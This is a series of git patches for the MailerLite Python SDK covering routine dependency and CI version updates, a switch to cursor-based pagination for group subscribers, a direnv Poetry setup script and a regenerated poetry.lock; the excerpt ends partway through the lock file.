From 0a5563b63f623a133a85df21d8514d749d689a60 Mon Sep 17 00:00:00 2001 From: "mailerlite-renovate[bot]" <197617292+mailerlite-renovate[bot]@users.noreply.github.com> Date: Fri, 28 Feb 2025 09:24:05 +0000 Subject: [PATCH 1/9] chore(deps): update dependency black to v25 --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index c187249..7ddd523 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -9,7 +9,7 @@ python = "^3.7" requests = "^2.28.1" [tool.poetry.dev-dependencies] -black = "^22.10.0" +black = "^25.0.0" coverage = "^6.5.0" pytest = "^7.2.0" pytest-mock = "^3.10.0" From 7246060a95f43709805974bed1aa3ca1f8a855a0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Igor=20Hr=C4=8Dek?= Date: Wed, 19 Mar 2025 11:07:23 +0100 Subject: [PATCH 2/9] Update main.yml --- .github/workflows/main.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index c26b9fa..44b7523 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -8,7 +8,7 @@ jobs: runs-on: ubuntu-latest strategy: matrix: - python-version: ["3.8", "3.9", "3.10", "3.11"] + python-version: ["3.9", "3.10", "3.11"] steps: - uses: actions/checkout@v4 From cbc6bbc442f177c4c83ee0591cfb89e5871168dd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Igor=20Hr=C4=8Dek?= Date: Wed, 19 Mar 2025 11:08:18 +0100 Subject: [PATCH 3/9] Update main.yml --- .github/workflows/main.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 44b7523..cc779f0 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -8,7 +8,7 @@ jobs: runs-on: ubuntu-latest strategy: matrix: - python-version: ["3.9", "3.10", "3.11"] + python-version: ["3.9", "3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 From e6e1035b990bcb4e084e35adc6ed186e9686f9ba Mon Sep 17 00:00:00 2001 From: nilsbebelaar Date: Sun, 27 Apr 2025 22:59:44 +0200 Subject: [PATCH 4/9] Replace page with cursor param for groups --- mailerlite/sdk/groups.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/mailerlite/sdk/groups.py b/mailerlite/sdk/groups.py index 6b3ef3b..0972cec 100644 --- a/mailerlite/sdk/groups.py +++ b/mailerlite/sdk/groups.py @@ -119,7 +119,7 @@ def get_group_subscribers(self, group_id, **kwargs): Ref: https://developers.mailerlite.com/docs/groups.html#get-subscribers-belonging-to-a-group :param group_id: int Group ID - :param **kwargs: You can pass additional arguments - page, limit, sort or to filter by status + :param **kwargs: You can pass additional arguments - cursor, limit, sort or to filter by status :raises: :class: `TypeError` : Got an unknown argument :raises: :class: `TypeError` : `group_id` type is not valid :return: JSON array @@ -131,7 +131,7 @@ def get_group_subscribers(self, group_id, **kwargs): f"`group_id` type is not valid. Expected `int`, got {type(group_id)}." ) - available_params = ["filter", "limit", "page"] + available_params = ["filter", "limit", "cursor"] params = locals() query_params = {} From 6fc809f538c146aa9f48332223659bd96813ff56 Mon Sep 17 00:00:00 2001 From: "mailerlite-renovate[bot]" <197617292+mailerlite-renovate[bot]@users.noreply.github.com> Date: Thu, 4 Sep 2025 04:33:47 +0000 Subject: [PATCH 5/9] chore(deps): update actions/checkout action to v5 --- .github/workflows/main.yml | 2 +- .github/workflows/publish.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index cc779f0..c3f9820 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -11,7 +11,7 @@ jobs: python-version: ["3.9", "3.10", "3.11", "3.12", "3.13"] steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v5 with: fetch-depth: 0 - name: Set up Python ${{ matrix.python-version }} diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml index d4db895..c5ec2ea 100644 --- a/.github/workflows/publish.yml +++ b/.github/workflows/publish.yml @@ -9,7 +9,7 @@ jobs: build-n-publish: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v5 - name: Build and publish to pypi uses: JRubics/poetry-publish@v1.16 From b864731acbd0359952887e5d3aed3136c8243e29 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Igor=20Hr=C4=8Dek?= Date: Fri, 19 Sep 2025 12:39:59 +0200 Subject: [PATCH 6/9] Update pyproject.toml --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 7ddd523..dec5a06 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -5,7 +5,7 @@ name = "mailerlite" version = "0.1.10" [tool.poetry.dependencies] -python = "^3.7" +python = "^3.9" requests = "^2.28.1" [tool.poetry.dev-dependencies] From 49462825bd15f6236611c1d54a4b81cb1b0eea33 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Igor=20Hr=C4=8Dek?= Date: Fri, 19 Sep 2025 12:52:10 +0200 Subject: [PATCH 7/9] feat: Updated dependencies --- .envrc | 20 + poetry.lock | 2352 +++++++++++++++++++++++++++--------------------- pyproject.toml | 2 +- 3 files changed, 1339 insertions(+), 1035 deletions(-) diff --git a/.envrc b/.envrc index b510ea5..588671d 100644 --- a/.envrc +++ b/.envrc @@ -1 +1,21 @@ +layout_poetry() { + PYPROJECT_TOML="${PYPROJECT_TOML:-pyproject.toml}" + if [[ ! -f "$PYPROJECT_TOML" ]]; then + log_status "No pyproject.toml found. Executing \`poetry init\` to create a \`$PYPROJECT_TOML\` first." + poetry init + fi + + VIRTUAL_ENV=$(poetry env info --path 2>/dev/null ; true) + + if [[ -z $VIRTUAL_ENV || ! -d $VIRTUAL_ENV ]]; then + log_status "No virtual environment exists. Executing \`poetry install\` to create one." + poetry install + VIRTUAL_ENV=$(poetry env info --path) + fi + + PATH_add "$VIRTUAL_ENV/bin" + export POETRY_ACTIVE=1 + export VIRTUAL_ENV +} + layout_poetry \ No newline at end of file diff --git a/poetry.lock b/poetry.lock index 7c50315..f9c2ee4 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,87 +1,295 @@ +# This file is automatically @generated by Poetry 2.1.4 and should not be changed by hand. + +[[package]] +name = "backports-tarfile" +version = "1.2.0" +description = "Backport of CPython tarfile module" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +markers = "python_version < \"3.12\"" +files = [ + {file = "backports.tarfile-1.2.0-py3-none-any.whl", hash = "sha256:77e284d754527b01fb1e6fa8a1afe577858ebe4e9dad8919e34c862cb399bc34"}, + {file = "backports_tarfile-1.2.0.tar.gz", hash = "sha256:d75e02c268746e1b8144c278978b6e98e85de6ad16f8e4b0844a154557eca991"}, +] + +[package.extras] +docs = ["furo", "jaraco.packaging (>=9.3)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +testing = ["jaraco.test", "pytest (!=8.0.*)", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)"] + [[package]] name = "black" -version = "22.12.0" +version = "25.9.0" description = "The uncompromising code formatter." -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "black-25.9.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ce41ed2614b706fd55fd0b4a6909d06b5bab344ffbfadc6ef34ae50adba3d4f7"}, + {file = "black-25.9.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2ab0ce111ef026790e9b13bd216fa7bc48edd934ffc4cbf78808b235793cbc92"}, + {file = "black-25.9.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f96b6726d690c96c60ba682955199f8c39abc1ae0c3a494a9c62c0184049a713"}, + {file = "black-25.9.0-cp310-cp310-win_amd64.whl", hash = "sha256:d119957b37cc641596063cd7db2656c5be3752ac17877017b2ffcdb9dfc4d2b1"}, + {file = "black-25.9.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:456386fe87bad41b806d53c062e2974615825c7a52159cde7ccaeb0695fa28fa"}, + {file = "black-25.9.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a16b14a44c1af60a210d8da28e108e13e75a284bf21a9afa6b4571f96ab8bb9d"}, + {file = "black-25.9.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aaf319612536d502fdd0e88ce52d8f1352b2c0a955cc2798f79eeca9d3af0608"}, + {file = "black-25.9.0-cp311-cp311-win_amd64.whl", hash = "sha256:c0372a93e16b3954208417bfe448e09b0de5cc721d521866cd9e0acac3c04a1f"}, + {file = "black-25.9.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:1b9dc70c21ef8b43248f1d86aedd2aaf75ae110b958a7909ad8463c4aa0880b0"}, + {file = "black-25.9.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8e46eecf65a095fa62e53245ae2795c90bdecabd53b50c448d0a8bcd0d2e74c4"}, + {file = "black-25.9.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9101ee58ddc2442199a25cb648d46ba22cd580b00ca4b44234a324e3ec7a0f7e"}, + {file = "black-25.9.0-cp312-cp312-win_amd64.whl", hash = "sha256:77e7060a00c5ec4b3367c55f39cf9b06e68965a4f2e61cecacd6d0d9b7ec945a"}, + {file = "black-25.9.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0172a012f725b792c358d57fe7b6b6e8e67375dd157f64fa7a3097b3ed3e2175"}, + {file = "black-25.9.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3bec74ee60f8dfef564b573a96b8930f7b6a538e846123d5ad77ba14a8d7a64f"}, + {file = "black-25.9.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b756fc75871cb1bcac5499552d771822fd9db5a2bb8db2a7247936ca48f39831"}, + {file = "black-25.9.0-cp313-cp313-win_amd64.whl", hash = "sha256:846d58e3ce7879ec1ffe816bb9df6d006cd9590515ed5d17db14e17666b2b357"}, + {file = "black-25.9.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ef69351df3c84485a8beb6f7b8f9721e2009e20ef80a8d619e2d1788b7816d47"}, + {file = "black-25.9.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e3c1f4cd5e93842774d9ee4ef6cd8d17790e65f44f7cdbaab5f2cf8ccf22a823"}, + {file = "black-25.9.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:154b06d618233fe468236ba1f0e40823d4eb08b26f5e9261526fde34916b9140"}, + {file = "black-25.9.0-cp39-cp39-win_amd64.whl", hash = "sha256:e593466de7b998374ea2585a471ba90553283fb9beefcfa430d84a2651ed5933"}, + {file = "black-25.9.0-py3-none-any.whl", hash = "sha256:474b34c1342cdc157d307b56c4c65bce916480c4a8f6551fdc6bf9b486a7c4ae"}, + {file = "black-25.9.0.tar.gz", hash = "sha256:0474bca9a0dd1b51791fcc507a4e02078a1c63f6d4e4ae5544b9848c7adfb619"}, +] [package.dependencies] click = ">=8.0.0" mypy-extensions = ">=0.4.3" +packaging = ">=22.0" pathspec = ">=0.9.0" platformdirs = ">=2" -tomli = {version = ">=1.1.0", markers = "python_full_version < \"3.11.0a7\""} -typed-ast = {version = ">=1.4.2", markers = "python_version < \"3.8\" and implementation_name == \"cpython\""} -typing-extensions = {version = ">=3.10.0.0", markers = "python_version < \"3.10\""} +pytokens = ">=0.1.10" +tomli = {version = ">=1.1.0", markers = "python_version < \"3.11\""} +typing-extensions = {version = ">=4.0.1", markers = "python_version < \"3.11\""} [package.extras] colorama = ["colorama (>=0.4.3)"] -d = ["aiohttp (>=3.7.4)"] +d = ["aiohttp (>=3.10)"] jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] uvloop = ["uvloop (>=0.15.2)"] -[[package]] -name = "bleach" -version = "6.0.0" -description = "An easy safelist-based HTML-sanitizing tool." -category = "dev" -optional = false -python-versions = ">=3.7" - -[package.dependencies] -six = ">=1.9.0" -webencodings = "*" - -[package.extras] -css = ["tinycss2 (>=1.1.0,<1.2)"] - [[package]] name = "certifi" -version = "2023.11.17" +version = "2025.8.3" description = "Python package for providing Mozilla's CA Bundle." -category = "main" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" +groups = ["main", "dev"] +files = [ + {file = "certifi-2025.8.3-py3-none-any.whl", hash = "sha256:f6c12493cfb1b06ba2ff328595af9350c65d6644968e5d3a2ffd78699af217a5"}, + {file = "certifi-2025.8.3.tar.gz", hash = "sha256:e564105f78ded564e3ae7c923924435e1daa7463faeab5bb932bc53ffae63407"}, +] [[package]] name = "cffi" -version = "1.15.1" +version = "2.0.0" description = "Foreign Function Interface for Python calling C code." -category = "dev" optional = false -python-versions = "*" +python-versions = ">=3.9" +groups = ["dev"] +markers = "platform_python_implementation != \"PyPy\" and sys_platform == \"linux\"" +files = [ + {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"}, + {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"}, + {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"}, + {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"}, + {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"}, + {file = "cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743"}, + {file = "cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5"}, + {file = "cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5"}, + {file = "cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d"}, + {file = "cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d"}, + {file = "cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba"}, + {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94"}, + {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187"}, + {file = "cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18"}, + {file = "cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5"}, + {file = "cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6"}, + {file = "cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb"}, + {file = "cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26"}, + {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c"}, + {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b"}, + {file = "cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27"}, + {file = "cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75"}, + {file = "cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91"}, + {file = "cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5"}, + {file = "cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775"}, + {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205"}, + {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1"}, + {file = "cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f"}, + {file = "cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25"}, + {file = "cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad"}, + {file = "cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9"}, + {file = "cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592"}, + {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512"}, + {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4"}, + {file = "cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e"}, + {file = "cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6"}, + {file = "cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9"}, + {file = "cffi-2.0.0-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf"}, + {file = "cffi-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322"}, + {file = "cffi-2.0.0-cp39-cp39-win32.whl", hash = "sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a"}, + {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"}, + {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"}, +] [package.dependencies] -pycparser = "*" +pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} [[package]] name = "charset-normalizer" -version = "3.3.2" +version = "3.4.3" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." -category = "main" optional = false -python-versions = ">=3.7.0" +python-versions = ">=3.7" +groups = ["main", "dev"] +files = [ + {file = "charset_normalizer-3.4.3-cp310-cp310-macosx_10_9_universal2.whl", hash 